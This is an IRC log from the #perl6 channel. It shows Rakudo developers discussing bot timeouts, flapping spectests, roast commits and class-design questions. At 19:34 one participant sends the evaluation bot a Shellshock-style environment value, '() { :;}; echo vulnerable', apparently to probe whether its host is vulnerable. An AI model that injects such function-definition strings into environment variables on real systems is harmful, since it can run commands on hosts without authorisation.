19:04 lizmat so it would create the opposite of the given method in the class
19:05 Mso150 joined #perl6
19:07 _slade_ joined #perl6
19:09 mberends joined #perl6
19:12 vladtz joined #perl6
19:14 Mso150 joined #perl6
19:15 erkan joined #perl6
19:15 erkan joined #perl6
19:22 nbrown joined #perl6
19:27 tinyblak joined #perl6
19:29 Slade joined #perl6
19:34 kurahaupo joined #perl6
19:34 moritz m: $*ENV<x> = q[() { :;}; echo vulnerable]; say $*DISTRO.name
19:35 camelia rakudo-moar 5d8eeb: OUTPUT«(timeout)»
19:35 lizmat alas, camelia is busy  :-(
19:36 vendethiel she is.
19:37 nine Sometimes I don't know what scares me more. What I'm trying to do, that I'm trying it at all or that I'm actually succeeding. I just know that I'm scared ;)
19:38 moritz nine: that's the important part :-)
19:39 FROGGS magic seems to get less exciting, ehh?
19:39 FROGGS (because we can do it too)
19:39 moritz m: 1
19:40 camelia rakudo-moar 5d8eeb: OUTPUT«(timeout)»
19:40 FROGGS p: 1
19:40 camelia rakudo-parrot 5d8eeb: OUTPUT«(timeout)»
19:42 nine I just noticed that it's only two weeks to the Austrian Perl Workshop!
19:44 FROGGS wich is good *and* bad
19:45 itz !
19:45 Psyche^_ joined #perl6
19:46 FROGGS I'd like to get more things done until then, but... again I bisect a perl6-* that is not our beloved fast perl6-m
19:48 camelia joined #perl6
19:48 moritz m: 1
19:49 nine I'd love to gather some more wow till then as well. But I think what I did today will suffice :)
19:49 moritz yes, the first time is always slow
19:49 camelia rakudo-moar 5d8eeb: OUTPUT«(timeout)»
19:49 moritz m: say 42
19:50 camelia rakudo-moar 5d8eeb: OUTPUT«(timeout)»
19:50 moritz :(
19:50 moritz p: say 42
19:51 camelia rakudo-parrot 5d8eeb: OUTPUT«(timeout)»
19:51 brrt joined #perl6
19:52 moritz this makes me very unhappy :(
19:52 FROGGS :/
19:58 moritz [Coke]: you seem to have a few hanging java processes on host08
19:58 moritz [Coke]: also, I'd like to reboot the server eventually; will that make you very unhappy?
19:58 [Coke] one sec.
19:59 moritz [Coke]: no hurry
19:59 [Coke] I was just in, and it froze.
19:59 [Coke] trying to find outif those java processes are from today's run.
19:59 [Coke] I can't login. do what you gotta.
20:00 [Coke] ack, I just got in. :)
20:00 [Coke] noooo!
20:00 moritz too late.
20:00 [Coke] ah well. :)
20:02 moritz t/spec/S17-procasync/print.rakudo.moar passes 3 TODO tests for me (with nqp and moar master)
20:02 moritz can anybody confirm that? then I'll unfudge
20:03 lizmat it's a flapper
20:03 moritz :(
20:03 lizmat I mean, it passes consistently?
20:03 lizmat in the spectest ?
20:04 moritz I ran it twice, once in the spectest, once in isolation
20:04 moritz so, dunno yet
20:05 lizmat lemme try master/master also
20:09 SamuraiJack joined #perl6
20:10 Slade joined #perl6
20:10 xragnar_ joined #perl6
20:13 dalek roast: ec66229 | usev6++ | S03-sequence/misc.t:
20:13 dalek roast: fixed and unfuged test for 'chained infinite numeric sequence (with 'infix:<...>')'
20:13 dalek roast: The test obviously missed the constraint for the first ten elements [^10].
20:13 dalek roast: After adding this and after s#1/4 1/2#0.25 0.5# in the expected output the test passes.
20:13 dalek roast: Both changes are in analogy to the test directly above 'chained infinite numeric sequence'
20:13 dalek roast:
20:13 dalek roast: If I should better leave the test as it was and open a ticket first, please let me know.
20:13 dalek roast: review: https://github.com/perl6/roast/commit/ec66229363
20:13 dalek roast: cb45ede | usev6++ | S03-operators/subscript-adverbs.t:
20:13 dalek roast: added tests for RT #120739
20:13 dalek roast: I'm not sure if S03-operators/subscript-adverbs.t is the right place for this tests.
20:13 synopsebot Link: https://rt.perl.org/rt3//Publ​ic/Bug/Display.html?id=120739
20:13 dalek roast: Please let me know if it should go somewhere else.
20:13 dalek roast: review: https://github.com/perl6/roast/commit/cb45ede5ae
20:13 dalek roast: 2e8d582 | usev6++ | S03-sequence/misc.t:
20:13 dalek roast: added tests for RT #116348
20:13 synopsebot Link: https://rt.perl.org/rt3//Publ​ic/Bug/Display.html?id=116348
20:13 dalek roast: review: https://github.com/perl6/roast/commit/2e8d582f6a
20:13 dalek roast: c7679fa | usev6++ | S03-sequence/misc.t:
20:13 dalek roast: merged two tests for RT #116348
20:13 dalek roast: review: https://github.com/perl6/roast/commit/c7679fa71b
20:13 synopsebot Link: https://rt.perl.org/rt3//Publ​ic/Bug/Display.html?id=116348
20:13 dalek roast: 7f16f13 | (Christian Bartolomäus)++ | S03- (2 files):
20:13 dalek roast: Merge pull request #47 from usev6/master
20:13 dalek roast:
20:13 dalek roast: fixed and unfuged test for chained infinite numeric sequence
20:13 dalek roast: added tests for RT #120739 and RT #116348
20:13 dalek roast: review: https://github.com/perl6/roast/commit/7f16f13f8c
20:13 synopsebot Link: https://rt.perl.org/rt3//Publ​ic/Bug/Display.html?id=120739
20:18 [Coke] bartolin++
20:20 lizmat moritz: alas, no TODO's passed on master/master  :-(
20:22 nbrown joined #perl6
20:27 timotimo joined #perl6
20:35 colomon joined #perl6
20:37 [Sno] joined #perl6
20:39 cognome joined #perl6
20:39 moritz ah well.
20:41 vendethiel joined #perl6
20:46 * grondilu would like UInt for some reason.  He notices there is UInt64 defined in the core for Rat purposes, and wonders if UInt could not be sneaked in there.
20:47 grondilu .oO( subset UInt of Int where * >= 0; subset UInt64 of UInt where * < 2**64; )
20:47 colomon joined #perl6
20:48 cognome joined #perl6
20:52 japhb mberends: Yes, re: Docker containers, that's an excellent idea.
20:55 araujo joined #perl6
20:55 mberends japhb: :-)
21:03 SamuraiJack joined #perl6
21:16 grondilu m: say "hi"
21:17 * grondilu is trying to get the positions of '1' in the binary expression of an integer
21:17 * grondilu tried 5.base(2).comb.kv.hash.grep(+*.value.Int).keys;
21:20 * grondilu succeeded with 5.base(2).comb.kv.hash.grep(+*.value.Int)».keys;
21:23 nbrown joined #perl6
21:28 tinyblak joined #perl6
21:30 virtualsue joined #perl6
21:31 bjz_ joined #perl6
21:31 Ven joined #perl6
21:31 pmurias joined #perl6
21:32 pmurias Ven: what should the methods on the 'newtyped' class do?
21:33 pmurias you could have something like 'class Wrapper {has $.wraped handles *}'
21:35 vendethiel pmurias: yeah, that seems perfect.
21:36 vendethiel but it actually breaks what the class is useful for: encapsulation
21:36 vendethiel I *don't* want a Gram and a Liter to be +-able
21:36 lizmat good night, #perl6!
21:36 vendethiel (well, one on the other one probably could be)
21:37 colomon joined #perl6
21:38 telex joined #perl6
21:46 grondilu class A {...}; class B is A {...}; class A { has B @.bees; method gist { "some A" } }; cla
21:46 grondilu ss B { method bees { self } }; say B.new;
21:47 grondilu class A {...}; class B is A {...}; class A { has B @.bees; method gist { "some A" }  }; class B { method bees { self } }; say B.new.perl;  # should this hang?
21:49 gtodd joined #perl6
21:50 grondilu basically I want to create a superclass and a subclass, such that the superclass contains instances of the subclass, and the contained elements for the subclass identify to themselves.
21:50 colomon joined #perl6
21:54 * itz books Austrian flights at the last minute and pays dearly for his lack of foresight :\
21:58 grondilu oh I can make it hang with just one class:
21:58 grondilu class Foo { has @.foos; method foos { self } }; say Foo.new.perl
21:59 grondilu infinite recursive loop
21:59 grondilu should I consider this an acceptable behavior or a bug?
22:00 pmurias vendethiel: you can do a partial handles
22:03 pecastro joined #perl6
22:13 eternaleye joined #perl6
22:21 virtualsue joined #perl6
22:22 dalek roast: 55c1fc2 | (David Warring david.warring@gmail.com)++ | integration/99problems-41-to-50.t:
22:22 dalek roast: [integration/99-problems] added P47 Truth tables for logical expressions (2).
22:22 dalek roast: review: https://github.com/perl6/roast/commit/55c1fc2c54
22:24 nbrown joined #perl6
22:30 O_o joined #perl6
22:33 vendethiel- joined #perl6
22:35 jantore joined #perl6
22:39 daxim__ joined #perl6
23:21 tinyblak joined #perl6
23:25 Slade joined #perl6
23:25 nbrown joined #perl6
23:33 Slade joined #perl6
23:49 _slade_ joined #perl6

| Channels | #perl6 index | Today | | Search | Google Search | Plain-Text | summary

Perl 6 | Reference Documentation | Rakudo